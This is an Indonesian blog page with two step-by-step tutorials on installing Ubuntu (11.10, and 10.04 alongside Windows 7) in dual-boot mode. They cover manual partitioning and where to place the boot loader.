Ubuntu 11.10, juga dikenal sebagai Ocelot Oneiric, hadir pada 13 Oktober 2011 dan merupakan rilis 15 dari sistem operasi Ubuntu. Meskipun sistem operasi Ubuntu 11,10 termasuk installer pintar, saya membuat tutorial ini untuk menuntun pendatang baru Linux dan pengguna Ubuntu yang ada, bagaimana menginstal Ubuntu 11,10 pada komputer pribadi mereka. Tutorial ini juga ditujukan kepada orang yang baru saja mendengar tentang Ubuntu, mereka yang belum pernah menginstal Ubuntu sebelumnya dan ingin mengujinya, tetapi tidak tahu bagaimana! Panduan berikut ini sangat sederhana untuk anda, tetapi jika anda mengalami kesulitan di tengah-tengah instalasi dan anda memerlukan bantuan, jangan ragu untuk menggunakan komentar pada akhir artikel!
Persiapan :

Anda akan memerlukan 11,10 Ubuntu Desktop ISO image yang sesuai dengan arsitektur hardware anda (i386 atau amd64), dan yang dapat didownload dari sini. Setelah download selesai, bakar ISO image dengan aplikasi pembakar favorit Anda CD / DVD (Nero, CDBurnerXP, Roxio) pada CD kosong pada kecepatan 8x. Masukkan kembali atau biarkan CD dalam CD / DVD-ROM dan reboot komputer untuk boot dari CD. Tekan F8, F11 atau tombol F12 (tergantung pada BIOS anda) untuk memilih CD / DVD-ROM sebagai perangkat boot.
Menunggu CD loading…
ubuntu1004installation large 000 480x360 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Dalam beberapa menit Anda akan melihat wallpaper dan wizard penginstalan. Pilih bahasa Anda dan klik tombol “Install Ubuntu” untuk melanjutkan …
ubuntu1110installation large 0011 480x394 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Pastikan tersedia syarat yang di butuhkan untuk instalasi Ubuntu. Opsional, Anda dapat memilih untuk men-download update ketika menginstal atau menginstal perangkat lunak pihak ketiga, seperti dukungan MP3. Perlu diketahui, meskipun, bahwa jika Anda memilih opsi ini, seluruh proses instalasi akan lebih lama!
ubuntu1110installation large 002 480x360 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Alokasi drive space hardisk
Di layar ini, anda memiliki banyak pilihan…
ubuntu1104installation large 003 480x360 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
1. Menginstal Ubuntu 11.10 bersama (sistem operasi lain)
– Pilih ini HANYA jika anda memiliki OS lain (misalnya Windows XP) dan anda ingin sistem dual boot. Anda dapat memilih sistem operasi yang anda ingin setiap kali komputer dinyalakan.
Catatan Editor: Ingat bahwa, setelah instalasi, boot loader Windows akan ditimpa oleh boot loader Ubuntu!
2. Meng-upgrade Ubuntu x.x ke 11,10
– Pilih ini HANYA jika Anda memiliki OS Ubuntu lain (misalnya Ubuntu 11.04) dan Anda ingin meng-upgrade ke Ubuntu 11,10. File pribadi Anda akan disimpan, tetapi anda harus menginstal ulang hampir semua paket anda. Pengaturan general system settings akan terhapus!
3. Menghapus dan menggunakan seluruh disk (Menghapus dan menginstal ulang Ubuntu xx)
– Pilih ini jika Anda ingin menghapus sistem operasi yang ada, atau hard drive sudah kosong dan Anda ingin membiarkan installer secara otomatis mempartisi hard drive anda. Ini adalah pilihan yang direkomendasikan untuk semua pengguna, khususnya mereka yang ingin komputer dengan sistem operasi tunggal.
4. Sesuatu yang lain (Something else)
– Pilihan ini direkomendasikan HANYA untuk pengguna tingkat lanjut, untuk membuat partisi khusus atau memformat hard drive dengan filesystem lain diluar setting default. Tetapi juga dapat digunakan untuk menciptakan partisi / home, yang sangat berguna ketika anda menginstal ulang seluruh sistem.
Berikut adalah cara melakukan partisi manual dengan / home:
Saya menyarankan untuk memilih ‘Something else‘, karena kita akan menginstal Ubuntu dan Windows dalam satu komputer. Pilih opsi tersebut, kemudian klik Forward.
dual boot 1 480x338 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Mengalokasikan ruang space. Kita mengasumsikan tidak ada data pada hard-drive Anda. Jika ada data (seperti Windows sebelumnya yang Anda ingin menyingkirkan), klik kanan pada partisi dengan data dan klik ‘delete’. Ini akan menghapus semua data dan membuat partisi kosong.
dual boot 2 480x339 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Pilih partisi kosong dan klik tombol Add, anda akan disambut dengan jendela ini. Creating Root for Ubuntu (lihat gambar di bawah)
dual boot root 480x342 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
  • Type for the new partition: Primary
  • New Partition size in megabytes: masukkan 8000 atau 15000 (sama dengan 8GB atau 15GB untuk root)
  • Location of the new partition: Beginning
  • Use as: Ext4
  • Mount Point: pilih /
→ sekarang klik OK. selanjutnya akan memindai drive dan menciptakan partisi root.
Membuat partisi Swap untuk Ubuntu
Sekarang kita perlu membuat sebuah partisi swap. Pilih partisi kosong dan klik Add. Sebuah jendela akan terbuka (gambar di bawah).
dualboot swap 480x341 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
  • Type for the new partition: Logical
  • New partition size in megabytes: Berikan space sebanyak jumlah RAM anda. Jika anda memiliki RAM lebih dari 4GB, berikan 1000 saja. Saya memberi nilai 2000 (2GB) karena jumlah RAM saya 2GB pada PC ini.
  • Location for the new partition: Beginning
  • Use as : select ‘swap area’ from the drop down menu.
  • Tidak ada pilihan pada mount point.
→ Click OK.
Anda bisa membuat partisi Ubuntu lagi untuk menyimpan data, tetapi Ubuntu bisa juga membaca partisi Windows. Sedangkan Windows tidak bisa membuka partisi Ubuntu, kecuali menggunakan software tambahan.
dualboot finish partition 480x336 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Klik Install Now. Anda akan melihat Peta, Anda dapat memilih lokasi Anda dengan menunjuk posisi anda pada peta atau memasukan wilayah di kotak di bawah.
010 location 480x348 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Jika Anda menggunakan keyboard non-American/English, Anda dapat memilih bahasa di sini. Setelah dipilih, Anda dapat menguji apakah sudah benar setting keyboard anda dengan mengetikkan dalam kotak. Saya sarankan tetap menggunakan American/English keyboard.
011 keyboard 480x350 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
012 users 480x351 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Pada jendela ini Anda harus memasukkan nama anda. Akan otomatis membuat nama komputer, yang dapat Anda berubah jika di inginkan. Juga akan menyarankan nama pengguna yang dapat anda rubah pada kotak ‘Pick a username’. Anda akan membutuhkan username ini untuk login ke sistem anda.
Opsi berikutnya adalah password. Buat password yang baik dan mengkonfirmasinya. Jika Anda ingin melewatkan jendela login setiap kali Anda restart PC Anda, Anda dapat memilih ‘Log in automatically’. Biarkan ‘Encrypt my home folder’, tidak usah di centang. Kemudian klik Forward.
013 slide 480x346 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Tunggu hingga proses instalasi selesai…
Setelah instalasi selesai, klik tombol ‘Restart’ untuk reboot PC ke sistem baru. Keluarkan CD / DVD atau LiveUSB sebelum PC start kembali. Jika tidak, maka PC akan boot ke Ubuntu Live lagi.
014 finish 480x138 Instal Ubuntu 11.10 dual booting dengan Windows www.tukangubuntu.com
Catatan: Jika PC Anda tidak memiliki grafis cukup, anda mungkin tidak akan bisa menampilkan 3D unity. Tetapi jangan khawatir, jika PC Anda memenuhi standart grafis yang di butuhkan maka Ubuntu akan merekomendasikan men-download driver proprietary
Read More »

Cara Menginstal Ubuntu Dan Windows 7 Dalam Satu komputer_seson 1- Dual Boot Mode



Ubuntu - Untuk mengenal dan mempelajari Linux adalah suatu hal yang mudah, hanya memerlukan keinginan kuat dan sedikit keberanian saja. Bagi pengguna Windows hal yang ditakuti saat ingin berganti ke Linux adalah resiko kehilangan data dan file-file penting, sehingga banyak yang beranggapan untuk belajar Linux diperlukan sebuah PC baru untuk menginstalnya.

Menginstal dan menjalankan Linux tidak dibutuhkan sebuah PC baru. Berikut ini akan kami sampaikan cara menginstal Ubuntu Linux dan Windows 7 dalam satu PC. Ini adalah cara aman sehingga diharapkan instalasi Ubuntu yang akan dilakukan tidak sedikitpun mengubah harddisk yang telah berisi Windows.

Kami mengasumsikan anda memiliki sebuah PC dengan harddisk yang telah terinstal Windows didalamnya. Anda cukup menambahkan sebuah harddisk baru sebagai tempat menginsatl Ubuntu. Harap perhatikan ini, silahkan letakkan harddisk yang baru ditambahkan sebagai harddisk utama (primary) dan ubah harddisk yang telah berisi Windows sebagai harddisk kedua (secondary) jika anda menggunakan harddisk ATA, mengapa demikian?... ini adalah langkah untuk menghindari penimpaan boot sector harddisk yang telah berisi Windows oleh boot menu Ubuntu (grup / lilo). Jika anda menggunakan harddisk dengan koneksi Serial ATA (SATA), letakkan harddisk baru pada port SATA 1 dan pindahkan harddisk lama pada port SATA 2.

Silahkan jalankan komputer anda, atur supaya boot device pertama adalah CD/DVD untuk menjalankan Ubuntu Live CD. Tunggulah beberapa saat hingga sistem Ubuntu selesai di muat...

Pada jendela berikutnya pilih opsi "Try Ubuntu 10.04 LTS"...

Tunggu hingga destop Ubuntu 10.04 ditampilkan... Jalankan Instalasi dengan mengklik ganda ikon "Install Ubuntu 10.04 LTS"... Installer Ubuntu akan segera dijalankan...

Pada opsi pilihan bahasa, pilih bahasa yang ingin anda gunakan. Klik "Forward" untuk melanjutkan...

Pada jendela berikutnya silahkan tentukan wilayah waktu (time zone) tempat anda berada. Klik "Forward" untuk melanjutkan...

Pada jendela setting keyboard, aturlah susunan keyboard yang anda gunakan atau biarkan pada setting default jika anda menggunakan keyboard standard USA. Klik "Forward" untuk menuju langkah selanjutnya....

Langkah berikutnya adalah bagian yang sangat penting, berhati-hatilah saat anda memilih harddisk yang akan digunakan menginstal Ubuntu. Dalam contoh ini kami menambahkan Harddisk baru berkapasitas 20 GB dan telah memiliki dua partisi masing-masing berformat NTFS. Silahkan pilih opsi ketiga "Specify partitions manually (advanced)" untuk membuat partisi secara manual. Klik "Forward" untuk melanjutkan...

Ingat... harddisk baru yang anda tambahkan berada pada posisi "Primary" (harddisk utama), sehingga Ubuntu akan mengenalinya dengan /dev/sda sedangkan harddisk yang telah berisi sistem Windows berada pada posisi "Secondary", sehingga dikenali sebagai /dev/sdb (lihat gambar dibawah untuk lebih jelasnya). Hapus semua partisi yang ada pada /dev/sda. Pilih /dev/sda1 lalu klik tombol "Delete", ulangi langkah ini untuk /dev/sda2 sehingga anda hanya akan memiliki sebuah partisi kosong pada /dev/sda (langkah ini mengacu pada contoh harddisk yang kami tambahkan dimana didalamnya telah memiliki dua partisi NTFS, jika harddisk yang anda tambahkan dalam kondisi kosong tanpa partisi, langkah ini tidak perlu anda lakukan).

Klik tombol "Forward" untuk melanjutkan ke langkah berikutnya...

Dibawah /dev/sda, pilih "free space" lalu klik tombol "Add" untuk membuat partisi baru...

Partisi pertama yang akan kita buat adalah partisi swap, pada jendela yang ditampilkan, pilih opsi "swap area" pada menu dropdown "Us as:". Tentukan kapasitas partisi swap yang anda kehendaki pada kolom "New partition size...", dalam contoh ini kami isi dengan 2000 mb (2 gb). Klik "OK" untuk mulai membuat partisi swap...

Ulangilah langkah sebelumnya, pilih free space lalu tekan tombol "Add", pada jendela yang ditampilkan, pilih opsi "Primary" pada "Type for the new partition". Tentukan kapasitas partisi yang anda buat, dalam contoh ini kami membuat partisi sebesar 10000 mb (10 gb). Pada "Us as" pilih "Ext4 journaling file system" lalu pilih opsi "/" pada pilihan "Mount point". klik "OK" untuk membuat partisi "/"....

Berikutnya adalah membuat partisi /home, plih sisa free space lalu klik "Add". Pilih "Primary" untuk "Type for new...", pada kapasitas partisi gunakan seberapapun sisa ruang yang masih ada. Pada "Us as" pilih "Ext4 journaling file system" lalu pilih opsi "/home" pada pilihan "Mount point". klik "OK" untuk membuat partisi "/home" (untuk lebih jelasnya, silahkan lihat gambar)....

Kini partisi yang dibutuhkan telah siap, klik "Forward untuk melanjutkan proses berikutnya. Isi semua informasi yang diperlukan, nama lengkap anda, user name (digunakan untuk log in), password dan nama komputer yang ingin anda gunakan. Klik "Forward" untuk melanjutlan instalasi...

Menentukan dimana boot loader akan diinstal, klik "Advanced" untuk menentukan lokasi boot loader...

Berhati-hatilah... pastikan checbox "Install boot loader" telah anda centang, pada "Device for boot loader installation" pastikan anda telah memilih "/dev/sda" jangan pada lokasi lain, lanjutkan dengan mengklik tombol "OK"...

Setelah selesai menentukan lokasi boot loader, kini saatnya memulai proses instalasi Ubuntu 10.04, klik "Install" untuk melanjutkan proses instalasi....

Instalasi segera dijalankan, ini akan memerlukan beberapa waktu bergantung pada spesifikasi komputer yang anda gunakan. Tunggulah hingga proses diselesaikan....

Setelah proses instalasi selesai, segeralah reboot komputer anda, CD/DVD Ubuntu secara otomatis akan dikeluarkan, ambil CD/DVD anda, lalu tekan enter untuk menyalakan kembali kumputer...

Nahh.. kini anda telah memiliki dua sitem operasi dalam komputer anda. Saat anda ingin menjalankan Ubuntu 10.04, pilih opsi "Ubuntu with Linux 2.6..." pada menu Grup lalu tekan enter...

Ubuntu 10.04 akan segera dijalankan untuk anda...

Dan saat anda ingin menjalankan Windows 7, pilih opsi "Windows 7 ..." dengan cara menekan tombol panah kebawah pada keyboard lalu tekan enter...

Windows 7 pun siap anda gunakan...

Selamat mencoba...
Read More »
 
Copyright 2017 | Design By Much. Nasih Amin
Wkyes